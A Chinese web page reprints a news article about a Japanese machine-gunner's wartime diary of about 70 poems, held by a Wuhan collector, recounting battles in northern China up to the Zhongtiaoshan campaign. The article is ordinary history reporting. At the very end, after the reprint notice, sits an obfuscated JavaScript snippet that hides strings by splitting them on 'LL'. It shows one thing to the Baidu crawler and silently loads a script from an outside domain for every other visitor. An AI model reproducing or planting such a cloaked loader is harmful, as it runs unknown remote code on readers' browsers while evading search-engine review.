當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

日本士兵詩(shī)歌體書(shū)寫戰(zhàn)時(shí)日記 用大量肉彈等詞匯

2017-04-28 22:12:57  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):武漢民間抗戰(zhàn)文物收藏家許一兵先生向本報(bào)公開(kāi)他收藏多年的一本日軍機(jī)關(guān)槍手的隨軍日記,以日本詩(shī)歌體寫成的70余篇日記再現(xiàn)了這場(chǎng)殘酷的戰(zhàn)爭(zhēng)

武漢民間抗戰(zhàn)文物收藏家許一兵先生向本報(bào)公開(kāi)他收藏多年的一本日軍機(jī)關(guān)槍手的隨軍日記,以日本詩(shī)歌體寫成的70余篇日記再現(xiàn)了這場(chǎng)殘酷的戰(zhàn)爭(zhēng)。

昨日,記者在許一兵先生的寓所里見(jiàn)到這本“陣中日記”,它有手掌大小,封面為絳紅色無(wú)字硬紙,色彩有些斑駁。扉頁(yè)寫有日記主人“高山增男”家鄉(xiāng)及所在部隊(duì)信息:“日本岡山縣苔田郡高倉(cāng)村”,“八0聯(lián)隊(duì)六十二”(鈴木部隊(duì))機(jī)關(guān)槍手。

日記內(nèi)文共70余首詩(shī),用鋼筆、鉛筆混合書(shū)寫,并經(jīng)過(guò)后期整理修改,描述了與“中央軍”(國(guó)民黨抗日部隊(duì))的多場(chǎng)戰(zhàn)斗:“二十九軍被擊潰”、占領(lǐng)“宛平城”、“娘子關(guān)”大戰(zhàn),進(jìn)攻石家莊、保定、運(yùn)城等黃河邊主要城市的經(jīng)過(guò),一直寫到1941年被蔣介石稱為“抗戰(zhàn)史上最大之恥辱”的山西“中條山戰(zhàn)役”。日記中提到的“張家灣”、“邰滿橋”、“永定河”、“聞喜”、“運(yùn)城”等地名,皆是抗戰(zhàn)史上知名戰(zhàn)役的發(fā)生地。同時(shí),他也再現(xiàn)了與“冀察軍”(八路軍)及游擊隊(duì)作戰(zhàn)的情景:“孤軍奮斗五十日,掃蕩討伐不間斷,每夜都有小敵兵,準(zhǔn)備應(yīng)對(duì)來(lái)襲敵。”

日記不僅用大量的“肉彈”、“尸山血?!薄ⅰ鞍兹袘?zhàn)”等詞匯描述了戰(zhàn)爭(zhēng)殘酷,還用“越過(guò)遍地的尸體攀上城墻”、“流淌的血液把巖石染紅,踩著戰(zhàn)友的尸體前進(jìn)”等詩(shī)句,表現(xiàn)了已被日本軍國(guó)主義洗腦的日軍“肉彈”(敢死隊(duì))的“神勇”。他還以“眼淚滴在尸體上面,含著悲哀埋葬于此”這樣的詩(shī)句,寄托對(duì)戰(zhàn)友的哀思,并用“嗚呼”之類的悲嘆詞起首,抒發(fā)自己的“思鄉(xiāng)”之情及對(duì)戰(zhàn)爭(zhēng)結(jié)局的迷茫:“想起去年春天四月,在盛開(kāi)的櫻花下,自問(wèn)道:永遠(yuǎn)都回不來(lái)了么?”

許一兵先生告訴記者,根據(jù)其所寫內(nèi)容及書(shū)寫功力判斷,日記主人具有一定的文學(xué)素養(yǎng),如果沒(méi)有這場(chǎng)不正義的戰(zhàn)爭(zhēng),他或許會(huì)是一位才華橫溢的詩(shī)人,但戰(zhàn)爭(zhēng)卻把他變成了“殺人機(jī)器”。

此頁(yè)日記詩(shī)記載了高山增男所在的這支侵華日軍從北平至山西的作戰(zhàn)經(jīng)歷。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}